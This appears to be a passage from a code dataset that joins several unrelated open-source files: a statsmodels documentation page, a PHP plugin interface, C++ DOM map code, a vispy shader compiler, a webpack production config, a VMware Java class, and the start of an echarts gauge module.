<link rel="icon" type="image/png" sizes="32x32" href="../_static/icons/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="../_static/icons/favicon-16x16.png">
<link rel="manifest" href="../_static/icons/site.webmanifest">
<link rel="mask-icon" href="../_static/icons/safari-pinned-tab.svg" color="#919191">
<meta name="msapplication-TileColor" content="#2b5797">
<meta name="msapplication-config" content="../_static/icons/browserconfig.xml">
<link rel="stylesheet" href="../_static/stylesheets/examples.css">
<link rel="stylesheet" href="../_static/stylesheets/deprecation.css">
<link rel="stylesheet" href="../_static/material.css" type="text/css" />
<link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
<link rel="stylesheet" type="text/css" href="../_static/graphviz.css" />
<script id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
<script src="../_static/jquery.js"></script>
<script src="../_static/underscore.js"></script>
<script src="../_static/doctools.js"></script>
<script src="../_static/language_data.js"></script>
<script crossorigin="anonymous" integrity="sha256-Ae2Vz/4ePdIu6ZyI/5ZGsYnb+m0JlOmKPjt6XZ9JJkA=" src="https://cdnjs.cloudflare.com/ajax/libs/require.js/2.3.4/require.min.js"></script>
<script async="async" src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.7/latest.js?config=TeX-AMS-MML_HTMLorMML"></script>
<script type="text/x-mathjax-config">MathJax.Hub.Config({"tex2jax": {"inlineMath": [["$", "$"], ["\\(", "\\)"]], "processEscapes": true, "ignoreClass": "document", "processClass": "math|output_area"}})</script>
<link rel="shortcut icon" href="../_static/favicon.ico"/>
<link rel="author" title="About these documents" href="../about.html" />
<link rel="index" title="Index" href="../genindex.html" />
<link rel="search" title="Search" href="../search.html" />
<link rel="next" title="statsmodels.stats.weightstats.CompareMeans.tconfint_diff" href="statsmodels.stats.weightstats.CompareMeans.tconfint_diff.html" />
<link rel="prev" title="statsmodels.stats.weightstats.CompareMeans.from_data" href="statsmodels.stats.weightstats.CompareMeans.from_data.html" />
</head>
<body dir=ltr
data-md-color-primary=indigo data-md-color-accent=blue>
<svg class="md-svg">
<defs data-children-count="0">
<svg xmlns="http://www.w3.org/2000/svg" width="416" height="448" viewBox="0 0 416 448" id="__github"><path fill="currentColor" d="M160 304q0 10-3.125 20.5t-10.75 19T128 352t-18.125-8.5-10.75-19T96 304t3.125-20.5 10.75-19T128 256t18.125 8.5 10.75 19T160 304zm160 0q0 10-3.125 20.5t-10.75 19T288 352t-18.125-8.5-10.75-19T256 304t3.125-20.5 10.75-19T288 256t18.125 8.5 10.75 19T320 304zm40 0q0-30-17.25-51T296 232q-10.25 0-48.75 5.25Q229.5 240 208 240t-39.25-2.75Q130.75 232 120 232q-29.5 0-46.75 21T56 304q0 22 8 38.375t20.25 25.75 30.5 15 35 7.375 37.25 1.75h42q20.5 0 37.25-1.75t35-7.375 30.5-15 20.25-25.75T360 304zm56-44q0 51.75-15.25 82.75-9.5 19.25-26.375 33.25t-35.25 21.5-42.5 11.875-42.875 5.5T212 416q-19.5 0-35.5-.75t-36.875-3.125-38.125-7.5-34.25-12.875T37 371.5t-21.5-28.75Q0 312 0 260q0-59.25 34-99-6.75-20.5-6.75-42.5 0-29 12.75-54.5 27 0 47.5 9.875t47.25 30.875Q171.5 96 212 96q37 0 70 8 26.25-20.5 46.75-30.25T376 64q12.75 25.5 12.75 54.5 0 21.75-6.75 42 34 40 34 99.5z"/></svg>
</defs>
</svg>
<input class="md-toggle" data-md-toggle="drawer" type="checkbox" id="__drawer">
<input class="md-toggle" data-md-toggle="search" type="checkbox" id="__search">
<label class="md-overlay" data-md-component="overlay" for="__drawer"></label>
<a href="#generated/statsmodels.stats.weightstats.CompareMeans.summary" tabindex="1" class="md-skip"> Skip to content </a>
<header class="md-header" data-md-component="header">
<nav class="md-header-nav md-grid">
<div class="md-flex navheader">
<div class="md-flex__cell md-flex__cell--shrink">
<a href="../index.html" title="statsmodels"
class="md-header-nav__button md-logo">
<img src="../_static/statsmodels-logo-v2-bw.svg" height="26"
alt="statsmodels logo">
</a>
</div>
<div class="md-flex__cell md-flex__cell--shrink">
<label class="md-icon md-icon--menu md-header-nav__button" for="__drawer"></label>
</div>
<div class="md-flex__cell md-flex__cell--stretch">
<div class="md-flex__ellipsis md-header-nav__title" data-md-component="title">
<span class="md-header-nav__topic">statsmodels v0.12.0</span>
<span class="md-header-nav__topic"> statsmodels.stats.weightstats.CompareMeans.summary </span>
</div>
</div>
<div class="md-flex__cell md-flex__cell--shrink">
<label class="md-icon md-icon--search md-header-nav__button" for="__search"></label>
<div class="md-search" data-md-component="search" role="dialog">
<label class="md-search__overlay" for="__search"></label>
<div class="md-search__inner" role="search">
<form class="md-search__form" action="../search.html" method="GET" name="search">
<input type="text" class="md-search__input" name="q" placeholder="Search"
autocapitalize="off" autocomplete="off" spellcheck="false"
data-md-component="query" data-md-state="active">
<label class="md-icon md-search__icon" for="__search"></label>
<button type="reset" class="md-icon md-search__icon" data-md-component="reset" tabindex="-1">

</button>
</form>
<div class="md-search__output">
<div class="md-search__scrollwrap" data-md-scrollfix>
<div class="md-search-result" data-md-component="result">
<div class="md-search-result__meta">
Type to start searching
</div>
<ol class="md-search-result__list"></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="md-flex__cell md-flex__cell--shrink">
<div class="md-header-nav__source">
<a href="https://github.com/statsmodels/statsmodels" title="Go to repository" class="md-source" data-md-source="github">
<div class="md-source__icon">
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 24 24" width="28" height="28">
<use xlink:href="#__github" width="24" height="24"></use>
</svg>
</div>
<div class="md-source__repository">
statsmodels
</div>
</a>
</div>
</div>
<script src="../_static/javascripts/version_dropdown.js"></script>
<script>
var json_loc = "../_static/versions.json",
target_loc = "../../",
text = "Versions";
$( document ).ready( add_version_dropdown(json_loc, target_loc, text));
</script>
</div>
</nav>
</header>
<div class="md-container">
<nav class="md-tabs" data-md-component="tabs">
<div class="md-tabs__inner md-grid">
<ul class="md-tabs__list">
<li class="md-tabs__item"><a href="../user-guide.html" class="md-tabs__link">User Guide</a></li>
<li class="md-tabs__item"><a href="../stats.html" class="md-tabs__link">Statistics <code class="xref py py-mod docutils literal notranslate"><span class="pre">stats</span></code></a></li>
<li class="md-tabs__item"><a href="statsmodels.stats.weightstats.CompareMeans.html" class="md-tabs__link">statsmodels.stats.weightstats.CompareMeans</a></li>
</ul>
</div>
</nav>
<main class="md-main">
<div class="md-main__inner md-grid" data-md-component="container">
<div class="md-sidebar md-sidebar--primary" data-md-component="navigation">
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--primary" data-md-level="0">
<label class="md-nav__title md-nav__title--site" for="__drawer">
<a href="../index.html" title="statsmodels" class="md-nav__button md-logo">
<img src="../_static/statsmodels-logo-v2-bw.svg" alt=" logo" width="48" height="48">
</a>
<a href="../index.html"
title="statsmodels">statsmodels v0.12.0</a>
</label>
<div class="md-nav__source">
<a href="https://github.com/statsmodels/statsmodels" title="Go to repository" class="md-source" data-md-source="github">
<div class="md-source__icon">
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 24 24" width="28" height="28">
<use xlink:href="#__github" width="24" height="24"></use>
</svg>
</div>
<div class="md-source__repository">
statsmodels
</div>
</a>
</div>
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="../install.html" class="md-nav__link">Installing statsmodels</a>
</li>
<li class="md-nav__item">
<a href="../gettingstarted.html" class="md-nav__link">Getting started</a>
</li>
<li class="md-nav__item">
<a href="../user-guide.html" class="md-nav__link">User Guide</a>
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="../user-guide.html#background" class="md-nav__link">Background</a>
</li>
<li class="md-nav__item">
<a href="../user-guide.html#regression-and-linear-models" class="md-nav__link">Regression and Linear Models</a>
</li>
<li class="md-nav__item">
<a href="../user-guide.html#time-series-analysis" class="md-nav__link">Time Series Analysis</a>
</li>
<li class="md-nav__item">
<a href="../user-guide.html#other-models" class="md-nav__link">Other Models</a>
</li>
<li class="md-nav__item">
<a href="../user-guide.html#statistics-and-tools" class="md-nav__link">Statistics and Tools</a>
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="../stats.html" class="md-nav__link">Statistics <code class="xref py py-mod docutils literal notranslate"><span class="pre">stats</span></code></a>
</li>
<li class="md-nav__item">
<a href="../contingency_tables.html" class="md-nav__link">Contingency tables</a>
</li>
<li class="md-nav__item">
<a href="../imputation.html" class="md-nav__link">Multiple Imputation with Chained Equations</a>
</li>
<li class="md-nav__item">
<a href="../emplike.html" class="md-nav__link">Empirical Likelihood <code class="xref py py-mod docutils literal notranslate"><span class="pre">emplike</span></code></a>
</li>
<li class="md-nav__item">
<a href="../distributions.html" class="md-nav__link">Distributions</a>
</li>
<li class="md-nav__item">
<a href="../graphics.html" class="md-nav__link">Graphics</a>
</li>
<li class="md-nav__item">
<a href="../iolib.html" class="md-nav__link">Input-Output <code class="xref py py-mod docutils literal notranslate"><span class="pre">iolib</span></code></a>
</li>
<li class="md-nav__item">
<a href="../tools.html" class="md-nav__link">Tools</a>
</li>
<li class="md-nav__item">
<a href="../large_data.html" class="md-nav__link">Working with Large Data Sets</a>
</li>
<li class="md-nav__item">
<a href="../optimization.html" class="md-nav__link">Optimization</a>
</li></ul>
</li>
<li class="md-nav__item">
<a href="../user-guide.html#data-sets" class="md-nav__link">Data Sets</a>
</li>
<li class="md-nav__item">
<a href="../user-guide.html#sandbox" class="md-nav__link">Sandbox</a>
</li></ul>
</li>
<li class="md-nav__item">
<a href="../examples/index.html" class="md-nav__link">Examples</a>
</li>
<li class="md-nav__item">
<a href="../api.html" class="md-nav__link">API Reference</a>
</li>
<li class="md-nav__item">
<a href="../about.html" class="md-nav__link">About statsmodels</a>
</li>
<li class="md-nav__item">
<a href="../dev/index.html" class="md-nav__link">Developer Page</a>
</li>
<li class="md-nav__item">
<a href="../release/index.html" class="md-nav__link">Release Notes</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-sidebar md-sidebar--secondary" data-md-component="toc">
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--secondary">
<ul class="md-nav__list" data-md-scrollfix="">
<li class="md-nav__item"><a class="md-nav__extra_link" href="../_sources/generated/statsmodels.stats.weightstats.CompareMeans.summary.rst.txt">Show Source</a> </li>
<li id="searchbox" class="md-nav__item"></li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-content">
<article class="md-content__inner md-typeset" role="main">
<h1 id="generated-statsmodels-stats-weightstats-comparemeans-summary--page-root">statsmodels.stats.weightstats.CompareMeans.summary<a class="headerlink" href="#generated-statsmodels-stats-weightstats-comparemeans-summary--page-root" title="Permalink to this headline">¶</a></h1>
<dl class="py method">
<dt id="statsmodels.stats.weightstats.CompareMeans.summary">
<code class="sig-prename descclassname">CompareMeans.</code><code class="sig-name descname">summary</code><span class="sig-paren">(</span><em class="sig-param"><span class="n">use_t</span><span class="o">=</span><span class="default_value">True</span></em>, <em class="sig-param"><span class="n">alpha</span><span class="o">=</span><span class="default_value">0.05</span></em>, <em class="sig-param"><span class="n">usevar</span><span class="o">=</span><span class="default_value">'pooled'</span></em>, <em class="sig-param"><span class="n">value</span><span class="o">=</span><span class="default_value">0</span></em><span class="sig-paren">)</span><a class="reference internal" href="../_modules/statsmodels/stats/weightstats.html#CompareMeans.summary"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#statsmodels.stats.weightstats.CompareMeans.summary" title="Permalink to this definition">¶</a></dt>
<dd><p>summarize the results of the hypothesis test</p>
<dl class="field-list">
<dt class="field-odd">Parameters</dt>
<dd class="field-odd"><dl>
<dt><strong>use_t</strong><span class="classifier"><a class="reference external" href="https://docs.python.org/3/library/stdtypes.html#bltin-boolean-values" title="(in Python v3.8)"><span class="xref std std-ref">bool</span></a>, <code class="xref py py-obj docutils literal notranslate"><span class="pre">optional</span></code></span></dt><dd><p>if use_t is True, then t test results are returned
if use_t is False, then z test results are returned</p>
</dd>
<dt><strong>alpha</strong><span class="classifier"><a class="reference external" href="https://docs.python.org/3/library/functions.html#float" title="(in Python v3.8)"><code class="docutils literal notranslate"><span class="pre">float</span></code></a></span></dt><dd><p>significance level for the confidence interval, coverage is
<code class="docutils literal notranslate"><span class="pre">1-alpha</span></code></p>
</dd>
<dt><strong>usevar</strong><span class="classifier"><a class="reference external" href="https://docs.python.org/3/library/stdtypes.html#str" title="(in Python v3.8)"><code class="docutils literal notranslate"><span class="pre">str</span></code></a>, ‘pooled’ or ‘unequal’</span></dt><dd><p>If <code class="docutils literal notranslate"><span class="pre">pooled</span></code>, then the standard deviation of the samples is
assumed to be the same. If <code class="docutils literal notranslate"><span class="pre">unequal</span></code>, then the variance of
Welsh ttest will be used, and the degrees of freedom are those
of Satterthwaite if <code class="docutils literal notranslate"><span class="pre">use_t</span></code> is True.</p>
</dd>
<dt><strong>value</strong><span class="classifier"><a class="reference external" href="https://docs.python.org/3/library/functions.html#float" title="(in Python v3.8)"><code class="docutils literal notranslate"><span class="pre">float</span></code></a></span></dt><dd><p>difference between the means under the Null hypothesis.</p>
</dd>
</dl>
</dd>
<dt class="field-even">Returns</dt>
<dd class="field-even"><dl>
<dt><strong>smry</strong><span class="classifier"><code class="xref py py-obj docutils literal notranslate"><span class="pre">SimpleTable</span></code></span></dt><dd></dd>
</dl>
</dd>
</dl>
</dd></dl>
</article>
</div>
</div>
</main>
</div>
<footer class="md-footer">
<div class="md-footer-nav">
<nav class="md-footer-nav__inner md-grid">
<a href="statsmodels.stats.weightstats.CompareMeans.from_data.html" title="statsmodels.stats.weightstats.CompareMeans.from_data"
class="md-flex md-footer-nav__link md-footer-nav__link--prev"
rel="prev">
<div class="md-flex__cell md-flex__cell--shrink">
<i class="md-icon md-icon--arrow-back md-footer-nav__button"></i>
</div>
<div class="md-flex__cell md-flex__cell--stretch md-footer-nav__title">
<span class="md-flex__ellipsis">
<span
class="md-footer-nav__direction"> Previous </span> statsmodels.stats.weightstats.CompareMeans.from_data </span>
</div>
</a>
<a href="statsmodels.stats.weightstats.CompareMeans.tconfint_diff.html" title="statsmodels.stats.weightstats.CompareMeans.tconfint_diff"
class="md-flex md-footer-nav__link md-footer-nav__link--next"
rel="next">
<div class="md-flex__cell md-flex__cell--stretch md-footer-nav__title"><span
class="md-flex__ellipsis"> <span
class="md-footer-nav__direction"> Next </span> statsmodels.stats.weightstats.CompareMeans.tconfint_diff </span>
</div>
<div class="md-flex__cell md-flex__cell--shrink"><i
class="md-icon md-icon--arrow-forward md-footer-nav__button"></i>
</div>
</a>
</nav>
</div>
<div class="md-footer-meta md-typeset">
<div class="md-footer-meta__inner md-grid">
<div class="md-footer-copyright">
<div class="md-footer-copyright__highlight">
© Copyright 2009-2019, Josef Perktold, Skipper Seabold, Jonathan Taylor, statsmodels-developers.
</div>
Last updated on
Aug 27, 2020.
<br/>
Created using
<a href="http://www.sphinx-doc.org/">Sphinx</a> 3.2.1.
and
<a href="https://github.com/bashtage/sphinx-material/">Material for
Sphinx</a>
</div>
</div>
</div>
</footer>
<script src="../_static/javascripts/application.js"></script>
<script>app.initialize({version: "1.0.4", url: {base: ".."}})</script>
</body>
</html> | bsd-3-clause |
vox-tecnologia/ZFDebug | src/ZFDebug/Controller/Plugin/Debug/Plugin/PluginInterface.php | 604 | <?php
namespace ZFDebug\Controller\Plugin\Debug\Plugin;
interface PluginInterface
{
/**
* Has to return html code for the menu tab
*
* @return string
*/
public function getTab();
/**
* Has to return html code for the content panel
*
* @return string
*/
public function getPanel();
/**
* Has to return a unique identifier for the specific plugin
*
* @return string
*/
public function getIdentifier();
/**
* Return the path to an icon
*
* @return string
*/
public function getIconData();
} | bsd-3-clause |
collinjackson/mojo | sky/engine/core/dom/WeakNodeMap.cpp | 2804 | // Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "sky/engine/config.h"
#include "sky/engine/core/dom/WeakNodeMap.h"
#include "sky/engine/core/dom/Node.h"
namespace blink {
#if !ENABLE(OILPAN)
class NodeToWeakNodeMaps {
public:
bool addedToMap(Node*, WeakNodeMap*);
bool removedFromMap(Node*, WeakNodeMap*);
void nodeDestroyed(Node*);
static NodeToWeakNodeMaps& instance()
{
DEFINE_STATIC_LOCAL(NodeToWeakNodeMaps, self, ());
return self;
}
private:
typedef Vector<WeakNodeMap*, 1> MapList;
typedef HashMap<Node*, OwnPtr<MapList> > NodeToMapList;
NodeToMapList m_nodeToMapList;
};
bool NodeToWeakNodeMaps::addedToMap(Node* node, WeakNodeMap* map)
{
NodeToMapList::AddResult result = m_nodeToMapList.add(node, nullptr);
if (result.isNewEntry)
result.storedValue->value = adoptPtr(new MapList());
result.storedValue->value->append(map);
return result.isNewEntry;
}
bool NodeToWeakNodeMaps::removedFromMap(Node* node, WeakNodeMap* map)
{
NodeToMapList::iterator it = m_nodeToMapList.find(node);
ASSERT(it != m_nodeToMapList.end());
MapList* mapList = it->value.get();
size_t position = mapList->find(map);
ASSERT(position != kNotFound);
mapList->remove(position);
if (mapList->size() == 0) {
m_nodeToMapList.remove(it);
return true;
}
return false;
}
void NodeToWeakNodeMaps::nodeDestroyed(Node* node)
{
OwnPtr<NodeToWeakNodeMaps::MapList> maps = m_nodeToMapList.take(node);
for (size_t i = 0; i < maps->size(); i++)
(*maps)[i]->nodeDestroyed(node);
}
WeakNodeMap::~WeakNodeMap()
{
NodeToWeakNodeMaps& allMaps = NodeToWeakNodeMaps::instance();
for (NodeToValue::iterator it = m_nodeToValue.begin(); it != m_nodeToValue.end(); ++it) {
Node* node = it->key;
if (allMaps.removedFromMap(node, this))
node->clearFlag(Node::HasWeakReferencesFlag);
}
}
void WeakNodeMap::put(Node* node, int value)
{
ASSERT(node && !m_nodeToValue.contains(node));
m_nodeToValue.set(node, value);
m_valueToNode.set(value, node);
NodeToWeakNodeMaps& maps = NodeToWeakNodeMaps::instance();
if (maps.addedToMap(node, this))
node->setFlag(Node::HasWeakReferencesFlag);
}
int WeakNodeMap::value(Node* node)
{
return m_nodeToValue.get(node);
}
Node* WeakNodeMap::node(int value)
{
return m_valueToNode.get(value);
}
void WeakNodeMap::nodeDestroyed(Node* node)
{
int value = m_nodeToValue.take(node);
ASSERT(value);
m_valueToNode.remove(value);
}
void WeakNodeMap::notifyNodeDestroyed(Node* node)
{
NodeToWeakNodeMaps::instance().nodeDestroyed(node);
}
#endif
}
| bsd-3-clause |
hronoses/vispy | vispy/visuals/shaders/compiler.py | 7604 | # -*- coding: utf-8 -*-
# Copyright (c) 2015, Vispy Development Team.
# Distributed under the (new) BSD License. See LICENSE.txt for more info.
from __future__ import division
import re
from ... import gloo
class Compiler(object):
"""
Compiler is used to convert Function and Variable instances into
ready-to-use GLSL code. This class handles name mangling to ensure that
there are no name collisions amongst global objects. The final name of
each object may be retrieved using ``Compiler.__getitem__(obj)``.
Accepts multiple root Functions as keyword arguments. ``compile()`` then
returns a dict of GLSL strings with the same keys.
Example::
# initialize with two main functions
compiler = Compiler(vert=v_func, frag=f_func)
# compile and extract shaders
code = compiler.compile()
v_code = code['vert']
f_code = code['frag']
# look up name of some object
name = compiler[obj]
"""
def __init__(self, **shaders):
# cache of compilation results for each function and variable
self._object_names = {} # {object: name}
self.shaders = shaders
def __getitem__(self, item):
"""
Return the name of the specified object, if it has been assigned one.
"""
return self._object_names[item]
def compile(self, pretty=True):
""" Compile all code and return a dict {name: code} where the keys
are determined by the keyword arguments passed to __init__().
Parameters
----------
pretty : bool
If True, use a slower method to mangle object names. This produces
GLSL that is more readable.
If False, then the output is mostly unreadable GLSL, but is about
10x faster to compile.
"""
# Authoritative mapping of {obj: name}
self._object_names = {}
#
# 1. collect list of dependencies for each shader
#
# maps {shader_name: [deps]}
self._shader_deps = {}
for shader_name, shader in self.shaders.items():
this_shader_deps = []
self._shader_deps[shader_name] = this_shader_deps
dep_set = set()
for dep in shader.dependencies(sort=True):
# visit each object no more than once per shader
if dep.name is None or dep in dep_set:
continue
this_shader_deps.append(dep)
dep_set.add(dep)
#
# 2. Assign names to all objects.
#
if pretty:
self._rename_objects_pretty()
else:
self._rename_objects_fast()
#
# 3. Now we have a complete namespace; concatenate all definitions
# together in topological order.
#
compiled = {}
obj_names = self._object_names
for shader_name, shader in self.shaders.items():
code = []
for dep in self._shader_deps[shader_name]:
dep_code = dep.definition(obj_names)
if dep_code is not None:
# strip out version pragma if present;
regex = r'#version (\d+)'
m = re.search(regex, dep_code)
if m is not None:
# check requested version
if m.group(1) != '120':
raise RuntimeError("Currently only GLSL #version "
"120 is supported.")
dep_code = re.sub(regex, '', dep_code)
code.append(dep_code)
compiled[shader_name] = '\n'.join(code)
self.code = compiled
return compiled
def _rename_objects_fast(self):
""" Rename all objects quickly to guaranteed-unique names using the
id() of each object.
This produces mostly unreadable GLSL, but is about 10x faster to
compile.
"""
for shader_name, deps in self._shader_deps.items():
for dep in deps:
name = dep.name
if name != 'main':
ext = '_%x' % id(dep)
name = name[:32-len(ext)] + ext
self._object_names[dep] = name
def _rename_objects_pretty(self):
""" Rename all objects like "name_1" to avoid conflicts. Objects are
only renamed if necessary.
This method produces more readable GLSL, but is rather slow.
"""
#
# 1. For each object, add its static names to the global namespace
# and make a list of the shaders used by the object.
#
# {name: obj} mapping for finding unique names
# initialize with reserved keywords.
self._global_ns = dict([(kwd, None) for kwd in gloo.util.KEYWORDS])
# functions are local per-shader
self._shader_ns = dict([(shader, {}) for shader in self.shaders])
# for each object, keep a list of shaders the object appears in
obj_shaders = {}
for shader_name, deps in self._shader_deps.items():
for dep in deps:
# Add static names to namespace
for name in dep.static_names():
self._global_ns[name] = None
obj_shaders.setdefault(dep, []).append(shader_name)
#
# 2. Assign new object names
#
name_index = {}
for obj, shaders in obj_shaders.items():
name = obj.name
if self._name_available(obj, name, shaders):
# hooray, we get to keep this name
self._assign_name(obj, name, shaders)
else:
# boo, find a new name
while True:
index = name_index.get(name, 0) + 1
name_index[name] = index
ext = '_%d' % index
new_name = name[:32-len(ext)] + ext
if self._name_available(obj, new_name, shaders):
self._assign_name(obj, new_name, shaders)
break
def _is_global(self, obj):
""" Return True if *obj* should be declared in the global namespace.
Some objects need to be declared only in per-shader namespaces:
functions, static variables, and const variables may all be given
different definitions in each shader.
"""
# todo: right now we assume all Variables are global, and all
# Functions are local. Is this actually correct? Are there any
# global functions? Are there any local variables?
from .variable import Variable
return isinstance(obj, Variable)
def _name_available(self, obj, name, shaders):
""" Return True if *name* is available for *obj* in *shaders*.
"""
if name in self._global_ns:
return False
shaders = self.shaders if self._is_global(obj) else shaders
for shader in shaders:
if name in self._shader_ns[shader]:
return False
return True
def _assign_name(self, obj, name, shaders):
""" Assign *name* to *obj* in *shaders*.
"""
if self._is_global(obj):
assert name not in self._global_ns
self._global_ns[name] = obj
else:
for shader in shaders:
ns = self._shader_ns[shader]
assert name not in ns
ns[name] = obj
self._object_names[obj] = name
| bsd-3-clause |
phorque/ac2-frontend | webpack-prod.config.js | 2933 | webpack = require('webpack')
const path = require('path');
var CompressionPlugin = require("compression-webpack-plugin");
module.exports = {
context: __dirname + '/source',
entry: {
javascript: './application.js',
html: './index.html'
},
loader: {
appSettings: {
env: "production"
},
},
output: {
path: __dirname + '/build',
filename: '/application.js'
},
resolve: {
root: __dirname,
extensions: ['', '.js'],
modulesDirectories: ['node_modules', 'source', 'source/images'],
fallback: __dirname
},
module: {
loaders: [
{
test: /\.css$/,
loaders: [
'style?sourceMap',
'css?modules&importLoaders=1&localIdentName=[path]___[name]__[local]___[hash:base64:5]'
]
},
{
test: /\.js$/,
loaders: ['babel-loader', 'eslint-loader'],
include: [new RegExp(path.join(__dirname, 'source')), new RegExp(path.join(__dirname, 'tests'))]
},
{
test: /\.html$/,
loader: 'file?name=[name].[ext]',
},
{
test: /\.(jpe?g|png|gif|svg)$/i,
loaders: [
'file?hash=sha512&digest=hex&name=[hash].[ext]',
'image-webpack?bypassOnDebug&optimizationLevel=7&interlaced=false'
]
}
],
},
preLoaders: [
{
test: /\.js$/,
loaders: ['eslint'],
include: [new RegExp(path.join(__dirname, 'source'))]
}
],
eslint: {
failOnError: false,
failOnWarning: false
},
plugins: [
new webpack.ProvidePlugin({
'fetch': 'imports?this=>global!exports?global.fetch!whatwg-fetch'
}),
new webpack.DefinePlugin({
'process.env': {
'NODE_ENV': JSON.stringify('production')
}
}),
new webpack.optimize.DedupePlugin(),
new webpack.optimize.AggressiveMergingPlugin(),
new webpack.optimize.UglifyJsPlugin({
sourceMap: false,
compress: {
sequences: true,
dead_code: true,
conditionals: true,
booleans: true,
unused: true,
if_return: true,
join_vars: true,
drop_console: true
},
mangle: {
except: ['$super', '$', 'exports', 'require']
},
output: {
comments: false
}
}),
new CompressionPlugin({
asset: "[path].gz[query]",
algorithm: "gzip",
test: /\.js$|\.html$/,
minRatio: 0.8
})
]
};
| bsd-3-clause |
mikem2005/vijava | src/com/vmware/vim25/mo/HostDatastoreBrowser.java | 3309 | /*================================================================================
Copyright (c) 2008 VMware, Inc. All Rights Reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of VMware, Inc. nor the names of its contributors may be used
to endorse or promote products derived from this software without specific prior
written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL VMWARE, INC. OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
================================================================================*/
package com.vmware.vim25.mo;
import java.rmi.RemoteException;
import com.vmware.vim25.*;
/**
* The managed object class corresponding to the one defined in VI SDK API reference.
* @author Steve JIN ([email protected])
*/
public class HostDatastoreBrowser extends ManagedObject
{
public HostDatastoreBrowser(ServerConnection serverConnection, ManagedObjectReference mor)
{
super(serverConnection, mor);
}
public Datastore[] getDatastores()
{
return getDatastores("datastore");
}
public FileQuery[] getSupportedType()
{
return (FileQuery[]) this.getCurrentProperty("supportedType");
}
/**
* @deprecated, use FileManager.DeleteDatastoreFile_Task
* @throws RemoteException
* @throws RuntimeFault
* @throws InvalidDatastore
* @throws FileFault
* @
*/
public void deleteFile(String datastorePath) throws FileFault, InvalidDatastore, RuntimeFault, RemoteException
{
getVimService().deleteFile(getMOR(), datastorePath);
}
public Task searchDatastore_Task(String datastorePath, HostDatastoreBrowserSearchSpec searchSpec) throws FileFault, InvalidDatastore, RuntimeFault, RemoteException
{
return new Task(getServerConnection(),
getVimService().searchDatastore_Task(getMOR(), datastorePath, searchSpec));
}
public Task searchDatastoreSubFolders_Task(String datastorePath, HostDatastoreBrowserSearchSpec searchSpec) throws FileFault, InvalidDatastore, RuntimeFault, RemoteException
{
return new Task(getServerConnection(),
getVimService().searchDatastoreSubFolders_Task(getMOR(), datastorePath, searchSpec));
}
}
| bsd-3-clause |
shaisxx/echarts | src/chart/gauge.js | 21902 | /**
* echarts图表类:仪表盘
*
* @desc echarts基于Canvas,纯Javascript图表库,提供直观,生动,可交互,可个性化定制的数据统计图表。
* @author Kener (@Kener-林峰, [email protected])
*
*/
define(function (require) {
var ComponentBase = require('../component/base');
var ChartBase = require('./base');
// 图形依赖
var GaugePointerShape = require('../util/shape/GaugePointer');
var TextShape = require('zrender/shape/Text');
var LineShape = require('zrender/shape/Line');
var RectangleShape = require('zrender/shape/Rectangle');
var CircleShape = require('zrender/shape/Circle');
var SectorShape = require('zrender/shape/Sector');
var ecConfig = require('../config');
var ecData = require('../util/ecData');
var zrUtil = require('zrender/tool/util');
/**
* 构造函数
* @param {Object} messageCenter echart消息中心
* @param {ZRender} zr zrender实例
* @param {Object} series 数据
* @param {Object} component 组件
*/
function Gauge(ecTheme, messageCenter, zr, option, myChart){
// 基类
ComponentBase.call(this, ecTheme, messageCenter, zr, option, myChart);
// 图表基类
ChartBase.call(this);
this.refresh(option);
}
Gauge.prototype = {
type : ecConfig.CHART_TYPE_GAUGE,
/**
* 绘制图形
*/
_buildShape : function () {
var series = this.series;
// 复用参数索引
this._paramsMap = {};
for (var i = 0, l = series.length; i < l; i++) {
if (series[i].type == ecConfig.CHART_TYPE_GAUGE) {
series[i] = this.reformOption(series[i]);
this._buildSingleGauge(i);
this.buildMark(i);
}
}
this.addShapeList();
},
/**
* 构建单个仪表盘
*
* @param {number} seriesIndex 系列索引
*/
_buildSingleGauge : function (seriesIndex) {
var serie = this.series[seriesIndex];
this._paramsMap[seriesIndex] = {
center : this.parseCenter(this.zr, serie.center),
radius : this.parseRadius(this.zr, serie.radius),
startAngle : serie.startAngle.toFixed(2) - 0,
endAngle : serie.endAngle.toFixed(2) - 0
};
